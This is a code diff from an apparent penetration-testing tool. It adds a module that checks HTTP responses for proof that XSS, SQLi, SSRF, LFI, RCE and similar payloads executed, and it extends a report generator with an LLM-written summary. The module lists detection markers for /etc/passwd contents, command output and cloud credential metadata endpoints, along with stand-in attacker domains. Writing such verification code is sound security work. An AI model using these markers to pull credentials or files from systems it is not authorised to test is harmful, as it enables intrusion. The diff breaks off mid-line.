+FILE_CONTENT_MARKERS = [ + "root:x:0:0:", + "daemon:x:1:1:", + "bin:x:2:2:", + "www-data:", + "[boot loader]", + "[operating systems]", + "[extensions]", +] + +COMMAND_OUTPUT_PATTERNS = [ + r"uid=\d+\(", + r"gid=\d+\(", + r"root:\w+:0:0:", + r"/bin/(?:ba)?sh", + r"Linux\s+\S+\s+\d+\.\d+", +] + +SSTI_EXPRESSIONS = { + "7*7": "49", + "7*'7'": "7777777", + "3*3": "9", +} + +# Cloud metadata markers for SSRF +SSRF_METADATA_MARKERS = [ + "ami-id", "ami-launch-index", "instance-id", "instance-type", + "local-hostname", "local-ipv4", "public-hostname", "public-ipv4", + "security-groups", "iam/info", "iam/security-credentials", + "computeMetadata/v1", "metadata.google.internal", + "169.254.169.254", # Only if actual metadata content follows +] + +# Internal content markers for SSRF +SSRF_INTERNAL_MARKERS = [ + "root:x:0:0:", # /etc/passwd via SSRF + "localhost", # Internal service response + "127.0.0.1", + "internal server", + "private network", +] + + +# --------------------------------------------------------------------------- +# Result type +# --------------------------------------------------------------------------- + +@dataclass +class ProofResult: + """Result of proof-of-execution check.""" + proven: bool # Was execution proven? + proof_type: str # Type of proof found (e.g., "db_error", "xss_auto_fire") + detail: str # Human-readable description + score: int # Confidence score contribution (0-60) + impact_demonstrated: bool = False # Was impact beyond mere detection shown? + + +# --------------------------------------------------------------------------- +# Proof Engine +# --------------------------------------------------------------------------- + +_compiled_db_errors = [re.compile(p, re.IGNORECASE) for p in DB_ERROR_PATTERNS] +_compiled_cmd_patterns = [re.compile(p, re.IGNORECASE) for p in COMMAND_OUTPUT_PATTERNS] + + +class ProofOfExecution: + """Per-vulnerability-type proof that the payload was executed/processed. + + Each vuln type has specific criteria. If the proof method returns + score=0, the finding has NO proof of execution and should score low. + """ + + def check(self, vuln_type: str, payload: str, response: Dict, + baseline: Optional[Dict] = None) -> ProofResult: + """Check for proof of execution for the given vulnerability type. + + Args: + vuln_type: Vulnerability type key + payload: The attack payload used + response: HTTP response dict {status, headers, body} + baseline: Optional baseline response for comparison + + Returns: + ProofResult with proven flag, proof type, detail, and score + """ + body = response.get("body", "") + status = response.get("status", 0) + headers = response.get("headers", {}) + + # Route to type-specific proof method + method_name = f"_proof_{vuln_type}" + if not hasattr(self, method_name): + # Try base type (e.g., sqli_error -> sqli) + base = vuln_type.split("_")[0] + method_name = f"_proof_{base}" + if not hasattr(self, method_name): + return self._proof_default(vuln_type, payload, body, status, + headers, baseline) + + return getattr(self, method_name)(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # XSS Proofs + # ------------------------------------------------------------------ + + def _proof_xss(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_xss_reflected(payload, body, status, headers, baseline) + + def _proof_xss_reflected(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """XSS proof: payload in executable/interactive HTML context.""" + if not payload or not body: + return ProofResult(False, "", "No payload or body", 0) + + # Check if payload is reflected at all + if payload not in body and payload.lower() not in body.lower(): + return ProofResult(False, "not_reflected", + "Payload not reflected in response", 0) + + # Use XSS context analyzer for definitive proof + try: + from backend.core.xss_context_analyzer import analyze_xss_execution_context + ctx = analyze_xss_execution_context(body, payload) + + if ctx["executable"]: + return ProofResult( + True, "xss_auto_fire", + f"Payload in auto-executing context: {ctx['detail']}", + 60, impact_demonstrated=True + ) + if ctx["interactive"]: + return ProofResult( + True, "xss_interactive", + f"Payload in interactive context: {ctx['detail']}", + 40, impact_demonstrated=False + ) + except ImportError: + pass + + # Fallback: raw reflection without context analysis + return ProofResult( + False, "reflected_only", + "Payload reflected but context not confirmed executable", + 10 + ) + + def _proof_xss_stored(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Stored XSS: same as reflected but requires payload on display page.""" + return self._proof_xss_reflected(payload, body, status, headers, baseline) + + def _proof_xss_dom(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """DOM XSS: payload in DOM sink (harder to verify without browser).""" + return self._proof_xss_reflected(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # SQLi Proofs + # ------------------------------------------------------------------ + + def _proof_sqli(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """SQLi proof: DB error message caused by payload.""" + body_lower = body.lower() + + # Check for DB error patterns + for pat in _compiled_db_errors: + m = pat.search(body_lower) + if m: + # Verify error wasn't in baseline + if baseline: + baseline_body = baseline.get("body", "").lower() + if pat.search(baseline_body): + continue # Error exists in baseline — not induced + return ProofResult( + True, "db_error", + f"SQL error induced: {m.group()[:80]}", + 60, impact_demonstrated=True + ) + + # Check for boolean-based blind: significant response diff + if baseline: + baseline_len = len(baseline.get("body", "")) + body_len = len(body) + baseline_status = baseline.get("status", 0) + + if status != baseline_status and body_len != baseline_len: + diff_pct = abs(body_len - baseline_len) / max(baseline_len, 1) * 100 + if diff_pct > 30: + return ProofResult( + True, "boolean_diff", + f"Boolean-based blind: {diff_pct:.0f}% response diff " + f"(status {baseline_status}->{status})", + 50, impact_demonstrated=False + ) + + return ProofResult(False, "", "No SQL error or boolean diff detected", 0) + + def _proof_sqli_error(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_sqli(payload, body, status, headers, baseline) + + def _proof_sqli_union(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_sqli(payload, body, status, headers, baseline) + + def _proof_sqli_blind(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_sqli(payload, body, status, headers, baseline) + + def _proof_sqli_time(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Time-based SQLi: needs external timing measurement (lower score).""" + # Time-based proof requires timing data not available in response alone + # The timeout exception handler in the agent provides this signal + if status == 0: # Timeout + return ProofResult( + True, "time_based", + "Request timeout consistent with time-based injection", + 40, impact_demonstrated=False + ) + return ProofResult(False, "", "No timing anomaly detected", 0) + + # ------------------------------------------------------------------ + # SSRF Proofs + # ------------------------------------------------------------------ + + def _proof_ssrf(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """SSRF proof: response contains actual internal/cloud resource content. + + IMPORTANT: Status/length diff alone is NOT proof of SSRF. + Must show actual internal resource content. + """ + body_lower = body.lower() + + # Check for cloud metadata content + metadata_found = [] + for marker in SSRF_METADATA_MARKERS: + if marker.lower() in body_lower: + # Additional check: marker must NOT be in baseline + if baseline: + baseline_lower = baseline.get("body", "").lower() + if marker.lower() in baseline_lower: + continue + metadata_found.append(marker) + + if len(metadata_found) >= 2: + # Multiple metadata fields = strong SSRF proof + return ProofResult( + True, "cloud_metadata", + f"Cloud metadata content: {', '.join(metadata_found[:5])}", + 60, impact_demonstrated=True + ) + if len(metadata_found) == 1: + return ProofResult( + True, "partial_metadata", + f"Partial metadata: {metadata_found[0]}", + 40, impact_demonstrated=False + ) + + # Check for /etc/passwd via SSRF + for marker in FILE_CONTENT_MARKERS: + if marker.lower() in body_lower: + if baseline: + if marker.lower() in baseline.get("body", "").lower(): + continue + return ProofResult( + True, "internal_file", + f"Internal file content via SSRF: {marker}", + 60, impact_demonstrated=True + ) + + # Status/length diff alone is NOT SSRF proof + return ProofResult( + False, "", + "No internal resource content found (status/length diff alone is insufficient)", + 0 + ) + + def _proof_ssrf_cloud(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_ssrf(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # LFI / Path Traversal Proofs + # ------------------------------------------------------------------ + + def _proof_lfi(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """LFI proof: actual file content markers in response.""" + body_lower = body.lower() + + for marker in FILE_CONTENT_MARKERS: + if marker.lower() in body_lower: + if baseline: + if marker.lower() in baseline.get("body", "").lower(): + continue # Marker in baseline + return ProofResult( + True, "file_content", + f"File content marker: {marker}", + 60, impact_demonstrated=True + ) + + return ProofResult(False, "", "No file content markers found", 0) + + def _proof_path_traversal(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_lfi(payload, body, status, headers, baseline) + + def _proof_path(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_lfi(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # SSTI Proofs + # ------------------------------------------------------------------ + + def _proof_ssti(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """SSTI proof: template expression was evaluated.""" + for expr, result in SSTI_EXPRESSIONS.items(): + if expr in (payload or ""): + if result in body and expr not in body: + return ProofResult( + True, "expression_evaluated", + f"Template expression {expr}={result} evaluated", + 60, impact_demonstrated=True + ) + + return ProofResult(False, "", "No template expression evaluation detected", 0) + + # ------------------------------------------------------------------ + # RCE / Command Injection Proofs + # ------------------------------------------------------------------ + + def _proof_rce(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """RCE proof: command output markers in response.""" + for pat in _compiled_cmd_patterns: + m = pat.search(body) + if m: + if baseline: + if pat.search(baseline.get("body", "")): + continue + return ProofResult( + True, "command_output", + f"Command output: {m.group()[:80]}", + 60, impact_demonstrated=True + ) + + return ProofResult(False, "", "No command output markers found", 0) + + def _proof_command(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_rce(payload, body, status, headers, baseline) + + def _proof_command_injection(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_rce(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # Open Redirect Proofs + # ------------------------------------------------------------------ + + def _proof_open(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_open_redirect(payload, body, status, headers, baseline) + + def _proof_open_redirect(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Open redirect proof: Location header points to attacker-controlled domain.""" + if status not in (301, 302, 303, 307, 308): + return ProofResult(False, "", "No redirect status code", 0) + + location = headers.get("Location", headers.get("location", "")) + if not location: + return ProofResult(False, "", "No Location header", 0) + + # Check if Location contains the injected external domain + if payload and any(domain in location.lower() for domain in + ["evil.com", "attacker.com", "example.com"] + if domain in payload.lower()): + return ProofResult( + True, "redirect_to_external", + f"Redirect to attacker domain: {location[:200]}", + 60, impact_demonstrated=True + ) + + # Protocol-relative redirect + if location.startswith("//") and any( + domain in location for domain in ["evil.com", "attacker.com"] + if domain in (payload or "") + ): + return ProofResult( + True, "protocol_relative_redirect", + f"Protocol-relative redirect: {location[:200]}", + 60, impact_demonstrated=True + ) + + # Meta-refresh redirect in body + meta_pattern = r']*http-equiv=["\']refresh["\'][^>]*url=([^"\'>\s]+)' + meta_match = re.search(meta_pattern, body, re.IGNORECASE) + if meta_match: + redirect_url = meta_match.group(1) + if any(domain in redirect_url.lower() for domain in + ["evil.com", "attacker.com"] if domain in (payload or "").lower()): + return ProofResult( + True, "meta_refresh_redirect", + f"Meta-refresh redirect: {redirect_url[:200]}", + 30, impact_demonstrated=False + ) + + return ProofResult(False, "", "No external redirect detected", 0) + + # ------------------------------------------------------------------ + # CRLF / Header Injection Proofs + # ------------------------------------------------------------------ + + def _proof_crlf(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_crlf_injection(payload, body, status, headers, baseline) + + def _proof_crlf_injection(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """CRLF proof: injected header appears in response headers.""" + injected_header_names = ["X-Injected", "X-CRLF-Test", "Set-Cookie"] + + for hdr_name in injected_header_names: + if hdr_name.lower() in (payload or "").lower(): + val = headers.get(hdr_name, headers.get(hdr_name.lower(), "")) + if val and ("injected" in val.lower() or "crlf" in val.lower() + or "test" in val.lower()): + return ProofResult( + True, "header_injected", + f"Injected header: {hdr_name}: {val[:100]}", + 60, impact_demonstrated=True + ) + + return ProofResult(False, "", "No injected headers found", 0) + + def _proof_header(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_crlf_injection(payload, body, status, headers, baseline) + + def _proof_header_injection(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_crlf_injection(payload, body, status, headers, baseline) + + # ------------------------------------------------------------------ + # XXE Proofs + # ------------------------------------------------------------------ + + def _proof_xxe(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """XXE proof: file content or SSRF response from entity expansion.""" + body_lower = body.lower() + + for marker in FILE_CONTENT_MARKERS: + if marker.lower() in body_lower: + if baseline and marker.lower() in baseline.get("body", "").lower(): + continue + return ProofResult( + True, "xxe_file_read", + f"XXE entity expansion: {marker}", + 60, impact_demonstrated=True + ) + + # XXE SSRF: metadata markers + for marker in SSRF_METADATA_MARKERS: + if marker.lower() in body_lower: + if baseline and marker.lower() in baseline.get("body", "").lower(): + continue + return ProofResult( + True, "xxe_ssrf", + f"XXE SSRF: {marker}", + 60, impact_demonstrated=True + ) + + return ProofResult(False, "", "No XXE entity expansion detected", 0) + + # ------------------------------------------------------------------ + # NoSQL Injection Proofs + # ------------------------------------------------------------------ + + def _proof_nosql(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_nosql_injection(payload, body, status, headers, baseline) + + def _proof_nosql_injection(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """NoSQL injection proof: MongoDB/NoSQL error or boolean response diff.""" + body_lower = body.lower() + + nosql_errors = [ + r"MongoError", r"mongo.*(?:syntax|parse|query).*error", + r"BSONTypeError", r"CastError.*ObjectId", + ] + for pat_str in nosql_errors: + m = re.search(pat_str, body, re.IGNORECASE) + if m: + if baseline and re.search(pat_str, baseline.get("body", ""), re.IGNORECASE): + continue + return ProofResult( + True, "nosql_error", + f"NoSQL error: {m.group()[:80]}", + 60, impact_demonstrated=True + ) + + # Boolean-based blind NoSQL + if baseline and ("$gt" in (payload or "") or "$ne" in (payload or "")): + baseline_len = len(baseline.get("body", "")) + diff_pct = abs(len(body) - baseline_len) / max(baseline_len, 1) * 100 + if diff_pct > 20: + return ProofResult( + True, "nosql_boolean", + f"NoSQL boolean diff: {diff_pct:.0f}%", + 45, impact_demonstrated=False + ) + + return ProofResult(False, "", "No NoSQL error or boolean diff", 0) + + # ------------------------------------------------------------------ + # IDOR Proofs + # ------------------------------------------------------------------ + + def _proof_idor(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """IDOR proof: accessing another user's resource with data comparison. + + CRITICAL: HTTP status codes are NOT reliable for access control. + We verify by checking actual response DATA, not just status/length. + """ + return self._proof_access_control(payload, body, status, headers, baseline, "idor") + + def _proof_bola(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """BOLA proof: API object-level authorization with data comparison.""" + return self._proof_access_control(payload, body, status, headers, baseline, "bola") + + def _proof_bfla(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """BFLA proof: function-level authorization with data comparison.""" + return self._proof_access_control(payload, body, status, headers, baseline, "bfla") + + def _proof_privilege_escalation(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Privilege escalation proof with data comparison.""" + return self._proof_access_control(payload, body, status, headers, baseline, "privilege_escalation") + + def _proof_auth_bypass(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Auth bypass proof: verify authenticated content is actually returned.""" + return self._proof_access_control(payload, body, status, headers, baseline, "auth_bypass") + + def _proof_forced_browsing(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Forced browsing proof with data comparison.""" + return self._proof_access_control(payload, body, status, headers, baseline, "forced_browsing") + + def _proof_access_control(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict], + vuln_subtype: str) -> ProofResult: + """Unified access control proof with smart data comparison. + + NEVER trusts status codes alone. Checks: + 1. Response body is NOT an error/empty/login page (false positive indicators) + 2. Response body contains ACTUAL data (JSON objects, user fields, etc.) + 3. Response body DIFFERS from baseline (different user's data) + 4. Response body does NOT contain denial indicators + """ + body_lower = body.lower().strip() + body_len = len(body) + + # ------- FALSE POSITIVE: Empty or trivially small response ------- + if body_len < 10: + return ProofResult(False, "", "Empty response body — no data returned", 0) + + # ------- FALSE POSITIVE: Error/denial messages in body ------- + denial_indicators = [ + "unauthorized", "forbidden", "access denied", "not authorized", + "permission denied", "authentication required", "login required", + "please log in", "please sign in", "invalid token", "token expired", + "session expired", "not found", "does not exist", "no permission", + "insufficient privileges", "you do not have access", + '"error":', '"status":"error"', '"success":false', '"success": false', + ] + denial_count = sum(1 for d in denial_indicators if d in body_lower) + if denial_count >= 2: + return ProofResult( + False, "", + f"Response contains {denial_count} denial indicators — access was denied despite status {status}", + 0 + ) + + # ------- FALSE POSITIVE: Login/redirect page ------- + login_indicators = [ + "login", + ] + login_count = sum(1 for l in login_indicators if l in body_lower) + if login_count >= 3: + return ProofResult( + False, "", + f"Response appears to be a login page ({login_count} login indicators)", + 0 + ) + + # ------- POSITIVE: Check for actual data content ------- + data_indicators = [ + # JSON data fields (common in API responses) + '"email":', '"name":', '"username":', '"phone":', '"address":', + '"role":', '"balance":', '"password":', '"token":', '"secret":', + '"orders":', '"items":', '"created_at":', '"updated_at":', + '"first_name":', '"last_name":', '"profile":', '"account":', + # HTML data (for web pages) + "user-profile", "account-details", "order-history", + ] + data_count = sum(1 for d in data_indicators if d in body_lower) + + # ------- Compare with baseline if available ------- + if baseline: + baseline_body = baseline.get("body", "") + baseline_len = len(baseline_body) + + # If response is nearly identical to baseline, likely same-behavior + if baseline_len > 0: + diff_pct = abs(body_len - baseline_len) / max(baseline_len, 1) * 100 + baseline_lower = baseline_body.lower().strip() + + # Check if body content actually differs (not just length) + if body_lower == baseline_lower: + return ProofResult( + False, "", + "Response identical to baseline — server ignores the ID parameter", + 0 + ) + + # Content-based comparison: for access control vulns, + # different users have similar-length responses but different data + # Count how many data field VALUES differ between attack and baseline + content_diff_score = self._compare_data_content(body, baseline_body) + + # Strong content difference with data indicators + if content_diff_score >= 3 and data_count >= 2: + return ProofResult( + True, f"{vuln_subtype}_data_diff", + f"Different data content returned ({content_diff_score} field values differ, " + f"{data_count} data fields found) — likely another user's data", + 40, impact_demonstrated=True + ) + + # Significant length difference with data indicators + if diff_pct > 10 and data_count >= 2: + return ProofResult( + True, f"{vuln_subtype}_data_diff", + f"Different data returned ({diff_pct:.0f}% content diff, " + f"{data_count} data fields found) — likely another user's data", + 40, impact_demonstrated=True + ) + + # Moderate content or length difference + if (content_diff_score >= 2 or diff_pct > 5) and data_count >= 1: + return ProofResult( + True, f"{vuln_subtype}_content_diff", + f"Content differs from baseline ({content_diff_score} values differ, " + f"{diff_pct:.0f}% len diff, {data_count} data fields) — possible cross-user access", + 30, impact_demonstrated=False + ) + + # No baseline — check if response has meaningful data + if data_count >= 3: + return ProofResult( + True, f"{vuln_subtype}_data_present", + f"Response contains {data_count} data fields (no baseline for comparison)", + 25, impact_demonstrated=False + ) + + if data_count >= 1 and status == 200 and denial_count == 0: + return ProofResult( + True, f"{vuln_subtype}_possible", + f"Response has data ({data_count} fields) and no denial — needs manual verification", + 15, impact_demonstrated=False + ) + + return ProofResult( + False, "", + f"Cannot verify {vuln_subtype}: {data_count} data fields, " + f"{denial_count} denial indicators, status {status}", + 0 + ) + + @staticmethod + def _compare_data_content(body_a: str, body_b: str) -> int: + """Compare two response bodies for data-level differences. + + Extracts JSON-like key:value pairs and counts how many values differ + between the two responses. This is essential for access control testing + where response LENGTHS are similar but the actual DATA differs + (e.g., different user profiles). + + Returns number of differing field values (0 = identical data). + """ + import json as _json + + # Try JSON parsing first + try: + data_a = _json.loads(body_a) + data_b = _json.loads(body_b) + if isinstance(data_a, dict) and isinstance(data_b, dict): + diff_count = 0 + all_keys = set(data_a.keys()) | set(data_b.keys()) + for key in all_keys: + val_a = str(data_a.get(key, "")) + val_b = str(data_b.get(key, "")) + if val_a != val_b: + diff_count += 1 + return diff_count + except (ValueError, TypeError): + pass + + # Fallback: regex-based extraction of "key":"value" pairs + kv_pattern = re.compile(r'"(\w+)":\s*"([^"]*)"') + pairs_a = dict(kv_pattern.findall(body_a)) + pairs_b = dict(kv_pattern.findall(body_b)) + + if not pairs_a and not pairs_b: + # Not JSON-like; do simple line-level comparison + lines_a = set(body_a.strip().splitlines()) + lines_b = set(body_b.strip().splitlines()) + return len(lines_a.symmetric_difference(lines_b)) + + all_keys = set(pairs_a.keys()) | set(pairs_b.keys()) + return sum(1 for k in all_keys if pairs_a.get(k) != pairs_b.get(k)) + + # ------------------------------------------------------------------ + # Host Header Injection + # ------------------------------------------------------------------ + + def _proof_host(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_host_header_injection(payload, body, status, headers, baseline) + + def _proof_host_header_injection(self, payload: str, body: str, status: int, + headers: Dict, + baseline: Optional[Dict]) -> ProofResult: + """Host header injection: injected host reflected in response body/links.""" + evil_hosts = ["evil.com", "attacker.com", "injected.host"] + body_lower = body.lower() + + for host in evil_hosts: + if host in (payload or "").lower() and host in body_lower: + if baseline and host in baseline.get("body", "").lower(): + continue + return ProofResult( + True, "host_reflected", + f"Injected host '{host}' reflected in response", + 50, impact_demonstrated=False + ) + + return ProofResult(False, "", "Injected host not reflected", 0) + + # ------------------------------------------------------------------ + # Inspection types (no execution proof needed) + # ------------------------------------------------------------------ + + def _proof_security(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_cors(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_clickjacking(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_directory(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_debug(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_information(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_insecure(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + return self._proof_inspection(payload, body, status, headers, baseline) + + def _proof_inspection(self, payload: str, body: str, status: int, + headers: Dict, baseline: Optional[Dict]) -> ProofResult: + """Inspection types: proof is the header/config itself being present/absent.""" + return ProofResult( + True, "inspection", + "Inspection-type finding — proof is configuration state", + 50, impact_demonstrated=False + ) + + # ------------------------------------------------------------------ + # Default / Unknown types + # ------------------------------------------------------------------ + + def _proof_default(self, vuln_type: str, payload: str, body: str, + status: int, headers: Dict, + baseline: Optional[Dict]) -> ProofResult: + """Default: conservative scoring for unknown vuln types.""" + # Check basic payload effect (reflected + different from baseline) + if payload and payload.lower() in body.lower(): + if baseline: + baseline_body = baseline.get("body", "") + if payload.lower() not in baseline_body.lower(): + return ProofResult( + True, "payload_reflected", + f"Payload reflected (not in baseline) for {vuln_type}", + 25, impact_demonstrated=False + ) + return ProofResult( + False, "reflected_no_baseline", + f"Payload reflected but no baseline to compare for {vuln_type}", + 10 + ) + + return ProofResult( + False, "", + f"No proof of execution for {vuln_type}", + 0 + ) diff --git a/backend/core/report_engine/generator.py b/backend/core/report_engine/generator.py index 5318dd3..14755b9 100644 --- a/backend/core/report_engine/generator.py +++ b/backend/core/report_engine/generator.py @@ -1,8 +1,10 @@ """ NeuroSploit v3 - Report Generator -Generates professional HTML, PDF, and JSON reports. +Generates professional HTML, PDF, and JSON reports +with OHVR structure and embedded screenshots. """ +import base64 import json from datetime import datetime from pathlib import Path @@ -23,8 +25,12 @@ class ReportGenerator: "info": "#6c757d" } + SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + def __init__(self): self.reports_dir = settings.REPORTS_DIR + self._scan_id: Optional[str] = None + self._tool_executions: List = [] async def generate( self, @@ -34,7 +40,8 @@ class ReportGenerator: title: Optional[str] = None, include_executive_summary: bool = True, include_poc: bool = True, - include_remediation: bool = True + include_remediation: bool = True, + tool_executions: Optional[List] = None, ) -> Tuple[Path, str]: """ Generate a report. @@ -42,6 +49,8 @@ class ReportGenerator: Returns: Tuple of (file_path, executive_summary) """ + self._scan_id = str(scan.id) if scan else None + self._tool_executions = tool_executions or [] title = title or f"Security Assessment Report - {scan.name}" timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") @@ -69,12 +78,94 @@ class ReportGenerator: else: raise ValueError(f"Unsupported format: {format}") - # Save report - file_path = self.reports_dir / filename + # Save report in a per-report folder with screenshots + report_dir = self.reports_dir / f"report_{timestamp}" + report_dir.mkdir(parents=True, exist_ok=True) + + file_path = report_dir / filename file_path.write_text(content) + # Copy screenshots into the report folder + self._copy_screenshots_to_report(vulnerabilities, report_dir) + return file_path, executive_summary + async def generate_ai_report( + self, + scan: Scan, + vulnerabilities: List[Vulnerability], + tool_executions: Optional[List] = None, + title: Optional[str] = None, + ) -> Tuple[Path, str]: + """Generate an AI-enhanced report with LLM-written executive summary and per-finding analysis.""" + from core.llm_manager import LLMManager + + self._scan_id = str(scan.id) if scan else None + self._tool_executions = tool_executions or [] + title = title or f"AI Security Assessment Report - {scan.name}" + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + + # Build findings context for AI + findings_context = [] + for v in vulnerabilities: + findings_context.append( + f"- [{v.severity.upper()}] {v.title}: {v.vulnerability_type} at " + f"{v.affected_endpoint or 'N/A'}" + f"{' | CWE: ' + v.cwe_id if v.cwe_id else ''}" + f"{' | CVSS: ' + str(v.cvss_score) if v.cvss_score else ''}" + ) + + tools_context = "" + if self._tool_executions: + tools_lines = [] + for te in self._tool_executions: + tools_lines.append( + f"- {te.get('tool', 'unknown')}: {te.get('command', '')} " + f"({te.get('duration', 0)}s, {te.get('findings_count', 0)} findings)" + ) + tools_context = "\n\nTools executed:\n" + "\n".join(tools_lines) + + total = len(vulnerabilities) + critical = sum(1 for v in vulnerabilities if v.severity == "critical") + high = sum(1 for v in vulnerabilities if v.severity == "high") + medium = sum(1 for v in vulnerabilities if v.severity == "medium") + low = sum(1 for v in vulnerabilities if v.severity == "low") + + prompt = ( + f"Write a professional executive summary for a penetration test report.\n" + f"Target: {scan.name}\n" + f"Total findings: {total} (Critical: {critical}, High: {high}, Medium: {medium}, Low: {low})\n\n" + f"Findings:\n" + "\n".join(findings_context[:30]) + tools_context + "\n\n" + f"Write 3-4 paragraphs covering: overall risk posture, key critical findings, " + f"attack surface observations, and prioritized remediation recommendations. " + f"Be specific and reference actual findings. Professional tone." + ) + + # Generate AI executive summary + try: + llm = LLMManager() + ai_summary = await llm.generate( + prompt, + "You are a senior penetration testing consultant writing a client-facing report." + ) + except Exception: + ai_summary = self._generate_executive_summary(scan, vulnerabilities) + + # Generate HTML with AI summary + content = self._generate_html( + scan, vulnerabilities, title, + ai_summary, include_poc=True, include_remediation=True + ) + + report_dir = self.reports_dir / f"report_{timestamp}" + report_dir.mkdir(parents=True, exist_ok=True) + filename = f"report_{timestamp}.html" + file_path = report_dir / filename + file_path.write_text(content) + self._copy_screenshots_to_report(vulnerabilities, report_dir) + + return file_path, ai_summary + def _generate_executive_summary(self, scan: Scan, vulnerabilities: List[Vulnerability]) -> str: """Generate executive summary text""" total = len(vulnerabilities) @@ -110,27 +201,81 @@ Overall Risk Level: {risk_level} include_remediation: bool ) -> str: """Generate HTML report""" - # Count by severity + # Separate confirmed and rejected vulnerabilities + confirmed_vulns = [v for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') != 'ai_rejected'] + rejected_vulns = [v for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') == 'ai_rejected'] + + # Count by severity (confirmed only) severity_counts = { - "critical": sum(1 for v in vulnerabilities if v.severity == "critical"), - "high": sum(1 for v in vulnerabilities if v.severity == "high"), - "medium": sum(1 for v in vulnerabilities if v.severity == "medium"), - "low": sum(1 for v in vulnerabilities if v.severity == "low"), - "info": sum(1 for v in vulnerabilities if v.severity == "info") + "critical": sum(1 for v in confirmed_vulns if v.severity == "critical"), + "high": sum(1 for v in confirmed_vulns if v.severity == "high"), + "medium": sum(1 for v in confirmed_vulns if v.severity == "medium"), + "low": sum(1 for v in confirmed_vulns if v.severity == "low"), + "info": sum(1 for v in confirmed_vulns if v.severity == "info") } total = sum(severity_counts.values()) - # Generate vulnerability cards + # Sort vulnerabilities by severity (Critical first, Info last) + confirmed_vulns = sorted( + confirmed_vulns, + key=lambda v: self.SEVERITY_ORDER.get(v.severity, 5) + ) + rejected_vulns = sorted( + rejected_vulns, + key=lambda v: self.SEVERITY_ORDER.get(v.severity, 5) + ) + + # Generate vulnerability cards for confirmed findings vuln_cards = "" - for vuln in vulnerabilities: + for vuln in confirmed_vulns: color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d") poc_section = "" - if include_poc and 